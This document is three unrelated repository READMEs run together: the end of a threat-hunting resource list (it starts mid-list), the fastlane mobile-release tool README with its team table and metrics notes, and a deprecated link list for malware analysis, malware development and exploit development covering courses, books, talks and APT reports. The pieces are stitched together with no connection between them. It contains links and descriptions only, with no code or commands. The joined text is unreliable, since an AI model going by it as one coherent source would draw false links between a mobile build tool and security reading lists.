<li>Hurricane Labs - Threat Hunting with Splunk: Part 2, Process Creation Log Analysis - <a href="https://hurricanelabs.com/splunk-tutorials/threat-hunting-with-splunk-part-2-process-creation-log-analysis/">Link</a></li>
<li>Roberto Rodriquez. ThreatHunter Playbook - <a href="https://github.com/OTRF/ThreatHunter-Playbook">Link</a></li>
<li>Sigma Rules - <a href="https://github.com/SigmaHQ/sigma">Link</a></li>
<li>Splunk - Advanced Threat Detection and Response - <a href="https://www.splunk.com/pdfs/technical-briefs/advanced-threat-detection-and-response-tech-brief.pdf">Link</a></li>
<li>YARA Rules Resource - <a href="https://github.com/InQuest/awesome-yara">Link</a></li>
</ul>
<p></p>
<p>🏹<b>GENERAL INFO</b></p>
<ul>
<li>BLOG: BC Security Offensive Security Tools - <a href="https://www.bc-security.org/post/category/offensive-security-tools/">Link</a></li>
<li>BLOG: Red Canary - <a href="https://redcanary.com/blog/">Link</a></li>
<li>BLOG: SCYTHE Threat Thursday - <a href="https://www.scythe.io/library/threat-thursday-evading-defenses-with-iso-files-like-nobelium">Link</a></li>
<li>BLOG: SpecterOps - <a href="https://posts.specterops.io/">Link</a></li>
<li>Ch33r10's PURPLE TEAM EXERCISE IDEA QUEUE W/ THREAT HUNTING SUGGESTIONS - <a href="https://docs.google.com/spreadsheets/d/1wHRrqwb1chTWP8kQqJjA2Chl7bUtCxRlobiyT3V2thE/edit?usp=sharing">Link</a></li>
<li>Ch33r10's Twitter Threat Hunting List - <a href="https://twitter.com/i/lists/1445402146434867206">Link</a></li>
<li>C2 Matrix by Jorge Orchilles, Bryson Bort & Adam Mashinchi - <a href="https://www.thec2matrix.com/">Link</a></li>
<li>C2 Matrix Slingshot VM with C2s Pre-Installed + VECTR by SANS Institute - <a href="https://www.sans.org/tools/slingshot/">Link</a></li>
<ul><li>DEMO: C2 Matrix VM Walkthru with Jorge Orchilles - <a href="https://howto.thec2matrix.com/slingshot-c2-matrix-edition">Link</a></ul></li>
<li>David J. Bianco and Cat Self. SANS Threat Hunting & IR Europe Summit 2020 - <a href="https://youtu.be/HInxsRyYCK4">Link</a></li>
<li>David J. Bianco. Sqrrl Archive - <a href="https://www.threathunting.net/sqrrl-archive">Link</a></li>
<li>David J. Bianco. The Pyramid of Pain - <a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html>Link</a></li>
<li>David J. Bianco. The ThreatHunting Project - <a href="https://www.threathunting.net/">Link</a></li>
<li>David J. Bianco. The Threat Hunt Project - Analysis Environment - <a href="https://hub.docker.com/r/threathuntproj/hunting/">Link</a></li>
<li>David J. Bianco. The ThreatHunting Project - Recommended Reading List - <a href="https://www.threathunting.net/reading-list">Link</a></li>
<li>Digit Oktavianto. Cyber Threat Hunting Workshop - <a href="https://www.itu.int/en/ITU-D/Cybersecurity/Documents/CyberDrill-2020/Cyber%20Threat%20Hunting%20Workshop%20-%20ITU%2019112020.pdf">Link</a></li>
<li>iRed Team - <a href="https://www.ired.team/">Link</a></li>
<li>Jason Wood. Becoming a Threat Hunter: This Is One Way - Texas Cyber Summit 2021 - <a href="https://youtu.be/na1PBrWvJjY">Link</a></li>
<li>Jennifer Gruener. DIY Splunk - <a href="https://drive.google.com/file/d/1A41Jkydl1z2ydD6ApDjN-fMAYMMNHsHb/view">Link</a></li>
<li>Joshua Stevens. Hunting for the Undefined Threat: Advanced Analytics & Visualization. RSA Conference 2015 - <a href="https://docs.huihoo.com/rsaconference/usa-2015/anf-w04-hunting-the-undefined-threat-advanced-analytics-visualization.pdf">Link</a></li>
<li>Matt Bromiley. Thinking like a Hunter: Implementing a Threat Hunting Program. SANS Analyst Paper - <a href="https://www.sans.org/reading-room/whitepapers/analyst/thinking-hunter-implementing-threat-hunting-program-38923">Link</a></li>
<li>MITRE ENGENUITY - ATT&CK Evaluations - <a href="https://attackevals.mitre-engenuity.org/">Link</a></li>
<li>Robert M. Lee and David J. Bianco. Generating Hypotheses for Successful Threat Hunting. SANS Analyst White Paper - <a href="https://www.sans.org/reading-room/whitepapers/threats/generating-hypotheses-successful-threat-hunting-37172">Link</a></li>
<li>Roberto Rodriguez. How Hot is your Hunt Team? - <a href="https://cyberwardog.blogspot.com/2017/07/how-hot-is-your-hunt-team.html">Link</a></li>
<li>Splunk - Threat Hunting with Splunk: The Basics - <a href="https://www.splunk.com/en_us/blog/security/hunting-with-splunk-the-basics.html">Link</a></li>
<li>Sqrrl. A Framework for Cyber Threat Hunting - <a href="https://www.threathunting.net/files/framework-for-threat-hunting-whitepaper.pdf">Link 1</a> & Backup copy for Link 1 <a href="https://github.com/ch33r10/BlueSpace2021/blob/main/rock/framework-for-threat-hunting-whitepaper.pdf">Link 2</a></li>
<li>The DFIR Report - <a href="https://thedfirreport.com/">Link</a></li>
<li>Valentina Costa-Gazcon. Practical Threat Intelligence and Data-Driven Threat Hunting - <a href="https://www.amazon.com/Practical-Threat-Hunting/dp/1838556370">Link</a></li>
</ul>
<p></p>
<p>🤓<b>INTERVIEW RESOURCES</p></b>
<ul>
<li>Questions for Infosec Job Twitter Thread - <a href="https://twitter.com/Ch33r10/status/947868048676945922?s=20">Link</a></li>
<li>Questions to Find RED FLAGS at a Company Twitter Thread - <a href="https://twitter.com/ccieby30/status/1316040342454534144?s=20">Link</a></li>
<li>Questions to Prepare for Trait-based Interview Questions Twitter Thread - <a href="https://twitter.com/jhencinski/status/1450252053188599814?s=20">Link</a></li>
</ul>
<p></p>
<p">🎺<b>SANS THREAT HUNTING</b></p>
<ul>
<li>SANS THREAT HUNTING PLAYLIST🎬 - <a href="https://youtube.com/playlist?list=PLfouvuAjspTpDHZ4gudmK55ZGDS_NmiDl">Link</a></li>
<li>SANS THREAT HUNTING SUMMIT 2021 Links from the chats collected by Cassie @DFIRDetective - <a href="https://start.me/p/DP6oRw/sans-threat-hunting-2021">Link</a></li>
<li>SANS THREAT HUNTING SUMMIT 2020🍿 - <a href="https://youtube.com/playlist?list=PLfouvuAjspTpESwgitHe8roa7XBOnemFa">Link</a></li>
<li>SANS THREAT HUNTING & INCIDENT RESPONSE SUMMIT 2019📽️ - <a href="https://youtube.com/playlist?list=PLfouvuAjspToqZfYaOuWlnHCZUcBTRjzq">Link</a></li>
<li>SANS THREAT HUNTING & INCIDENT RESPONSE SUMMIT 2018🍫 - <a href="https://youtube.com/playlist?list=PLfouvuAjspTrUOTh_FTljg3qAXHPtOrIx">Link</a></li>
<li>SANS THREAT HUNTING & INCIDENT RESPONSE SUMMIT 2017🍬 - <a href="https://youtube.com/playlist?list=PLfouvuAjspTr95R60Kt7ZcoerR6tYoCLA">Link</a></li>
</ul>
<p></p>
<b></b>
<p><h1 align="center">🏋️<b>TRAINING</b></h1></p>
<ul>
<li>Active Countermeasures - Cyber Threat Hunting Training - Cost: FREE - <a href="https://www.activecountermeasures.com/cyber-threat-hunting-training-course/">Link</a></li>
<li>Applied Network Defense - Practical Threat Hunting - Cost: 💲 - <a href="https://www.networkdefense.co/courses/hunting/">Link</a></li>
<li>BlueTeamLabsOnline - Cost: 💲 - <a href="https://blueteamlabs.online/">Link</a></li>
<li>CyberDefenders - Windows Threat Hunting and others - Cost: FREE & 💲 - <a href="https://cyberdefenders.org/">Link</a></li>
<li>Detection Lab by Chris Long - Cost: FREE - <a href="https://github.com/clong/DetectionLab">Link</a></li>
<li>INE elearnsecurity - Threat Hunting - Cost: 💲 - <a href="https://ine.com">Link</a></li>
<li>Mosse Institute - Certified Threat Hunter - Cost: 💲 - <a href="https://www.mosse-institute.com/certifications/mth-certified-threat-hunter.html">Link</a></li>
<li>SANS FOR508 Advanced Incident Response, Threat Hunting, and Digital Forensics - Cost: 💲 - <a href="https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/">Link</a></li>
<li>Splunk Attack Range - Cost: FREE - <a href="https://github.com/splunk/attack_range">Link</a></li>
<li>Splunk's Boss of the SOC (BOTS) - Cost: FREE - <a href="https://live.splunk.com/splunk-security-dataset-project">BOTS v1</a>, <a href="https://events.splunk.com/BOTS_2_0_datasets">BOTS v2</a>, <a href="https://www.splunk.com/en_us/blog/security/botsv3-dataset-released.html">BOTS v3</a></li>
<li>Splunk Workshops - Cost: FREE - <a href="https://www.splunk.com/en_us/about-us/events.html">Link</a></li>
<b></b>
<p><h1 align="center">💎<b>THANK YOU</b></h1></p>
<ul>
<p>Thank you to BlueSpace and Ekoparty! <3</p>
<p>Shoutout to @plugxor Muchas Gracias!</p>
</ul>
<b></b>
<hr></hr>
<h6 align="center"><small>FOR THE LAWYERS</small></h6>
<h6 align="center"><sub>"The opinions expressed in this Github repo are those of the individual account, in their individual capacity, and not necessarily those of the employers. Mention of any vendors, services, products, or otherwise does not endorse them as a vendor. This content and any related discussions are solely the views, opinions, and experiences of the participants and should not be presumed to reflect the opinion or the official position of any employers of the participants. Examples and views provided herein, including strategies, goals, targets, and indicators are for illustrative purposes only and should not be regarded as representative of the participants' employers or respective portfolios. To the extent that this participation, discussion, and interview outlines a general technology direction, the participants' employers have no obligation to pursue any such approach or to develop or use any functionality mentioned herein. Any suggested technology strategy or possible future developments are subject to change at the employers' sole discretion without notice. Content in this presentation is the intellectual property of the applicable creators and may be protected under the copyright laws of the United States and/or other countries. All trademarks are the property of their respective owners and are used for informational purposes only."</sub></h6>
|
<h3 align="center">
<a href="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png">
<img src="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png?raw=true" alt="fastlane Logo" width="500">
</a>
</h3>
[](https://twitter.com/FastlaneTools)
[](https://github.com/fastlane/fastlane/blob/master/LICENSE)
[](https://rubygems.org/gems/fastlane)
[](https://circleci.com/gh/fastlane/fastlane)
_fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
## Need Help?
Before submitting a new GitHub issue, please make sure to
- Check out [docs.fastlane.tools](https://docs.fastlane.tools)
- Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues)
If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command.
**Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions.
## _fastlane_ team
<!-- This table is regenerated and resorted on each release -->
<table id='team'>
<tr>
<td id='matthew-ellis'>
<a href='https://github.com/matthewellis'>
<img src='https://github.com/matthewellis.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4>
</td>
<td id='luka-mirosevic'>
<a href='https://github.com/lmirosevic'>
<img src='https://github.com/lmirosevic.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4>
</td>
<td id='jimmy-dee'>
<a href='https://github.com/jdee'>
<img src='https://github.com/jdee.png?size=140'>
</a>
<h4 align='center'>Jimmy Dee</h4>
</td>
<td id='danielle-tomlinson'>
<a href='https://github.com/DanToml'>
<img src='https://github.com/DanToml.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/DanToml'>Danielle Tomlinson</a></h4>
</td>
<td id='josh-holtz'>
<a href='https://github.com/joshdholtz'>
<img src='https://github.com/joshdholtz.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4>
</td>
</tr>
<tr>
<td id='helmut-januschka'>
<a href='https://github.com/hjanuschka'>
<img src='https://github.com/hjanuschka.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4>
</td>
<td id='maksym-grebenets'>
<a href='https://github.com/mgrebenets'>
<img src='https://github.com/mgrebenets.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
</td>
<td id='manu-wallner'>
<a href='https://github.com/milch'>
<img src='https://github.com/milch.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4>
</td>
<td id='jan-piotrowski'>
<a href='https://github.com/janpio'>
<img src='https://github.com/janpio.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4>
</td>
<td id='iulian-onofrei'>
<a href='https://github.com/revolter'>
<img src='https://github.com/revolter.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Revolt666'>Iulian Onofrei</a></h4>
</td>
</tr>
<tr>
<td id='aaron-brager'>
<a href='https://github.com/getaaron'>
<img src='https://github.com/getaaron.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4>
</td>
<td id='fumiya-nakamura'>
<a href='https://github.com/nafu'>
<img src='https://github.com/nafu.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4>
</td>
<td id='stefan-natchev'>
<a href='https://github.com/snatchev'>
<img src='https://github.com/snatchev.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4>
</td>
<td id='jérôme-lacoste'>
<a href='https://github.com/lacostej'>
<img src='https://github.com/lacostej.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4>
</td>
<td id='joshua-liebowitz'>
<a href='https://github.com/taquitos'>
<img src='https://github.com/taquitos.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4>
</td>
</tr>
<tr>
<td id='olivier-halligon'>
<a href='https://github.com/AliSoftware'>
<img src='https://github.com/AliSoftware.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4>
</td>
<td id='felix-krause'>
<a href='https://github.com/KrauseFx'>
<img src='https://github.com/KrauseFx.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4>
</td>
<td id='kohki-miki'>
<a href='https://github.com/giginet'>
<img src='https://github.com/giginet.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4>
</td>
<td id='jorge-revuelta-h'>
<a href='https://github.com/minuscorp'>
<img src='https://github.com/minuscorp.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4>
</td>
<td id='andrew-mcburney'>
<a href='https://github.com/armcburney'>
<img src='https://github.com/armcburney.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4>
</td>
</tr>
</table>
Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_.
## Contribute to _fastlane_
Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_.
## Code of Conduct
Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md).
## Metrics
_fastlane_ tracks a few key metrics to understand how developers are using the tool and to help us know what areas need improvement. No personal/sensitive information is ever collected. Metrics that are collected include:
* The number of _fastlane_ runs
* A salted hash of the app identifier or package name, which helps us anonymously identify unique usage of _fastlane_
You can easily opt-out of metrics collection by adding `opt_out_usage` at the top of your `Fastfile` or by setting the environment variable `FASTLANE_OPT_OUT_USAGE`. [Check out the metrics code on GitHub](https://github.com/fastlane/fastlane/tree/master/fastlane_core/lib/fastlane_core/analytics)
## License
This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file.
> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
|
# DEPRECATED
Going forwards, this repo won't be updated.\
The list is instead being maintained on my blog (https://reversing.blog)
# About
This document serves as a list of resources, and other things that aid in malware analysis / dev and exploit dev, which will be updated frequently\
Feel free to contribute resources
# Courses
## Paid courses/certificates
- OSED
- eCXD
- SLAE x86
- OSEE
- eCMAP
- Sektor 7 Red Team Operator
- Zero2Automated: Ultimate Malware Reverse Engineering
- CREST Certified Malware Reverse Engineer
- SANS FOR610
- SANS FOR500
- FireEye Malware Analysis Master Course
- RingZerø: Windows Kernel Rootkits: Techniques and Analysis
- RingZerø: Windows Internals for Reverse Engineers
- CodeMachine: Windows Kernel Rootkits
## Free courses
[Offensive Software Exploitation by Ali Hadi](https://exploitation.ashemery.com/)
> Course taught at Champlain College by Ali Hadi\
> Topics:
- PE format
- Bug hunting and fuzzing
- Vanilla BoF
- ROP
- Egghunters
- x64 and x86 assembly
- Reverse engineering
[Malwareunicorn RE101 and 102](https://m.youtube.com/channel/UCnpn999NpDMMPxZXW8sgZLA)
> Great introduction to malware analysis and RE
> Covers setting up your environmemt, and basic static / dynamic analysis
[hasherezade Windows malware analysis vol 1](https://github.com/hasherezade/malware_training_vol1)
> Focus on Windows malware and internals specifically.\
> Includes intermediate topics, such as hooking, UAC bypass, persistence, and much more\
> Requires some knowledge beforehand\
> Inlcudes exercises and slides
[dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
>This course is my go to for anyone new to exploit dev, it is dead simple, and will teach anyone basic buffer overflows in a couple hours\
>It goes from teaching basic assembly, to finding a vulnerable function, fuzzing it, and performing a basic buffer overflow to obtain remote RCE
[RPI modern binary exploitation](http://security.cs.rpi.edu/courses/binexp-spring2015/)
> Modern binary exploitation \
> Topics:
- ASLR
- DEP
- ROP
- Heap exploitation
- Stack cookies
- Basic kernel exploitation
- Reverse engineering
- Shellcoding
[CS6038/CS5138 introduction to malware analysis and reverse engineering](https://class.malware.re/)
>Introduction to malware analysis and reverse engineering \
> Topics cover a wide range of malware analysis topics, a few samples:
- Android static analysis
- Java malware
- Ghidra reverse engineering
- Debugging
- Building malware
- Yara
- Malicious PDF analysis
- Assembly language crash course
- Virtualbox setup
[Intro to x86 32 bit Assembly](http://opensecuritytraining.info/IntroX86.html)
>Introduction to x86 32 bit Assembly, covers everything needed to get started with x86 Assembly
- Includes exercises
- Includes Youtube videos, and powerpoint slides
[Intro to x86 64 bit Assembly](http://opensecuritytraining.info/IntroX86-64.html)
>Same as the 32 bit, assumes 32 bit knowledge
[Intro to Linux binary exploitation](https://github.com/r0hi7/BinExp)
>Covers Linux bin exp from basic assembly to heap exploitation
[Nightmare: Binary exploitation and reverse engineering course](https://guyinatuxedo.github.io/index.html)
>Binary exploitation course using CTFs as examples
[Max Kersten Zero to hero binary analysis course](https://maxkersten.nl/binary-analysis-course/)
>Assumes little to no low level knowledge\
>Requires basic understanding of programming \
>Content:
>- Assembly basics
>- Malware analysis
>- Script analysis
>- Sample collection
[Buffer overflow practice](https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice)
>Various applications to practice buffer overflows on. \
>Includes exploit code.
[OpenSecurityTraining introduction to Reverse Engineering](https://opensecuritytraining.info/IntroductionToReverseEngineering.html)
> Covers the basics and use cases of RE\
> Goes over IDA and debugger usage\
> Helps you identify control flows and Win32 API code\
> Older course, but worth the time
[Intermediate Linux Exploitation](https://github.com/nnamon/linux-exploitation-course)
>Assumes prior knowledge of x86-64 assembly and familiarity with C and Python.\
>Comfortable with basic binary exploits, like vanilla buffer overflow.
# Books
- Windows internals 7th edition, part 1 and 2
- Practical malware analysis
- Windows Kernel Programming by Pavel Yosifovich
- Malware Analysts Cookbook
- The Shellcoders Handbook
- Rootkits: Subverting the Windows Kernel
- Rootkits and Bootkits
- A Guide to Kernel Exploitation
- Windows 10 System Programming, Part 1 (Pavel Yosifovich)
- Windows 10 System Programming, Part 2 (Pavel Yosifovich)
- The IDA Pro book
- The Ghidra book
- Sandworm by Andy Greenberg
- C++ primer 5th edition
- The Art of Assembly Language 2nd edition
- The Antivirus Hackers' Handbook
- The Art of Memory Forensics
- Inside Windows Debugging
- Practical Reverse Engineering
## Free books
- [x86-64 deep dive with Ed Jorgensen](http://www.egr.unlv.edu/~ed/assembly64.pdf)
# Blogs
[Corelan exploit dev](https://www.corelan.be/index.php/articles/)
>Must read!!
[Fuzzysecurity exploit dev](https://www.fuzzysecurity.com/tutorials.html)
>Their Windows exploitation series is gold
[Vitali Kremez blog](https://www.vkremez.com/)
>Lots of awesome malware related content
[repnz](https://repnz.github.io/)
> Content on Windows internals, malware reversing
[Connor Mcgarr](https://connormcgarr.github.io/)
> Lots of content about exploit development
[Google Project Zero](https://googleprojectzero.blogspot.com/)
[Shameless self plug - Logicbug](https://logicbug-io.github.io/)
> My own blog, mainly content about malware dev
[Redbluepurple.io](https://blog.redbluepurple.io/)
> blog with a couple posts about EDR, Windows internals and malware analysis
[Malware Traffic analysis](https://malware-traffic-analysis.net/2021/index.html)
# Talks
[Kernel Mode Threats and Practical Defenses](https://www.youtube.com/watch?v=BBJgKuXzfwc)\
[Morten Schenk - Taking Windows 10 Kernel Exploitation to the next level](https://youtu.be/33Jr1wkaCmQ)\
[The Life & Death of Kernel Object Abuse](https://youtu.be/_u7d9kLdi0c)\
[Alex Ionescu - Advancing the State of UEFI Bootkits](https://www.youtube.com/watch?v=dpG97TBR3Ys)\
[BlueHat v18 || Return of the kernel rootkit malware (on windows 10)](https://youtu.be/qVIxFfXpyNc)\
[Black Hat Windows 2004 - DKOM (Direct Kernel Object Manipulation)](https://www.youtube.com/watch?v=1Ie20b5IGgY)\
[Windows Offender Reverse Engineering Windows Defender's Antivirus Emulator](https://www.youtube.com/watch?v=LvW68czaEGs)\
[Hackingz Ze Komputerz - Exploiting CAPCOM.SYS - Part 1](https://www.youtube.com/watch?v=pJZjWXxUEl4)\
[Hackingz Ze Komputerz - Exploiting CAPCOM.SYS - Part 2](https://www.youtube.com/watch?v=UGWqq5kTiso)\
[W32.Duqu: The Precursor to the Next Stuxnet](https://www.youtube.com/watch?v=SbkXffokmPE)
# Youtube channels
[KindredSec](https://www.youtube.com/channel/UCwTH3RkRCIE35RJ16Nh8V8Q)
>Malware and reverse engineering
[OAlabs](https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg)
>Great reverse engineering content
[Josh Stroschein intro to Assembly](https://www.youtube.com/playlist?list=PLHJns8WZXCdvESvdr1BRjo4RHiR1Ylhw9)
> Intro to Assembly
[AGDC Services](https://m.youtube.com/channel/UCnpn999NpDMMPxZXW8sgZLA)
> High quality content with a lot of potential
# Whitepapers/articles/posts
[Reverse engineering Cisco ASA for EXTRABACON offsets ](https://zerosum0x0.blogspot.com/2016/09/reverse-engineering-cisco-asa-for.html) \
[DoublePulsar SMB backdoor analysis](https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html)\
[Kaspersky Shamoon and StoneDrill Report](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf)\
[Eset Turla Outlook backdoor report](https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf)\
[Introduction Format String exploits](https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)\
[Writing a custom encoder](https://smarinovic.github.io/posts/Custom-Encoder/)\
[MinaliC 2.0.0 buffer overflow](https://smarinovic.github.io/posts/MinaliC-webserver-BoF/)\
[BigAnt server 2.52 buffer overflow](https://smarinovic.github.io/posts/BigAnt-server-BoF/)\
[Anatomy of an exploit – inside CVE-2013-3893](https://nakedsecurity.sophos.com/2013/10/11/anatomy-of-an-exploit-ie-zero-day-part-1/)\
[Understanding type confusion vulnerabilities](https://www.microsoft.com/security/blog/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/)\
[Engineering antivirus evasion](https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/)\
[Deep dive into IOS exploit chain](https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html?m=1)\
[Writing IOS kernel exploits](https://secfault-security.com/blog/chain3.html)\
[Analysis of Cyber attack on Ukrainian power grid](https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf)\
[Analysis of Project Sauron APT](https://securelist.com/faq-the-projectsauron-apt/75533/)\
[SWEED: Exposing years of Agent Tesla campaigns](https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html?m=1)
[WastedLocker analysis](https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/)\
[OilRig novel steganography C2](https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/)\
[FritzFrog analysis](https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/)\
[Rotten Apples: Apple-like domains phishing](https://www.fireeye.com/blog/threat-research/2016/06/rotten_apples_apple.html)\
[Wil it blend? This is the Question, new Macro based Evasions spotted](https://www.joesecurity.org/blog/4978232240698722172)\
[Lazarus shellcode execution](https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method)\
[In-Depth analysis of Racoon stealer](https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html)\
[Detailed analysis of Zloader](https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf)\
[Interview with LockBit Ransomware operator](https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf)\
[BendyBear shellcode malware](https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/)\
[Emotet C2 case study](https://unit42.paloaltonetworks.com/emotet-command-and-control/)\
[WeSteal Analysis](https://unit42.paloaltonetworks.com/westeal/)\
[A Basic Windows DKOM Rootkit](https://blog.landhb.dev/posts/v9eRa/a-basic-windows-dkom-rootkit-pt-1/)\
[Loading Kernel Shellcode](https://www.fireeye.com/blog/threat-research/2018/04/loading-kernel-shellcode.html)\
[Windows Kernel Shellcode on Windows 10 – Part 1](https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-1)\
[Windows Kernel Shellcode on Windows 10 – Part 2](https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-2)\
[Windows Kernel Shellcode on Windows 10 – Part 3](https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-3)\
[Panic! At The Kernel - Token Stealing Payloads Revisited on Windows 10 x64 and Bypassing SMEP](https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/)\
[Introduction to Shellcode Development](https://owasp.org/www-pdf-archive/Introduction_to_shellcode_development.pdf)\
[Autochk Rootkit Analysis](https://repnz.github.io/posts/autochk-rootkit-analysis/)\
[pierogi backdoor](https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-2-the-discovery-of-the-new-mysterious-pierogi-backdoor?utm_content=116986912&utm_medium=social&utm_source=twitter&hss_channel=tw-835463838)\
[New Cyber Espionage Campaigns Targeting Palestinians - Part 1: The Spark Campaign](https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one)\
[Pay2Kitten](https://vx-underground.org/archive/APTs/2020/2020.12.17(1)/Pay2Kitten.pdf)\
[STEELCORGI](https://vx-underground.org/archive/APTs/2021/2021.01.12(2)/STEEL%20CORGI.pdf)\
[Lebanese Cedar APT](https://vx-underground.org/archive/APTs/2021/2021.01.28/Lebanese%20Cedar%20APT.pdf)\
[LazyScripter](https://vx-underground.org/archive/APTs/2021/2021.02.24(1)/LazyScripter.pdf)\
[Maze deobfuscation](https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/)\
[Darkside overview](https://unit42.paloaltonetworks.com/darkside-ransomware/)\
[SunBurst backdoor - FireEye analysis](https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html)\
[Code obfuscation techniques](https://chris124567.github.io/2021-06-23-survey-obfuscation/)\
[SideCopy APT tooling](https://talosintelligence.com/resources/257)\
[Hiding in PEB sight: Custom loader](https://blog.christophetd.fr/hiding-windows-api-imports-with-a-customer-loader/)\
[Zloader: New infection technique](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/)\
[This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits](https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html)\
[FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines](https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/)\
[Rolf Rolles: Statically unpacking / anazlying FinFisher VM part 1](https://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation)\
[Rolf Rolles: Statically unpacking / analyzing FinFisher VM part 2](https://www.msreverseengineering.com/blog/2018/1/31/finspy-vm-part-2-vm-analysis-and-bytecode-disassembly)\
[Rolf Rolles: Statically unpacking / analyzing FinFisher VM part 3](https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization)\
[Operation SpoofedScholars: A Conversation with TA453](https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453)\
[Hooking Candiru - Another spyware vendor comes into focus](https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/)\
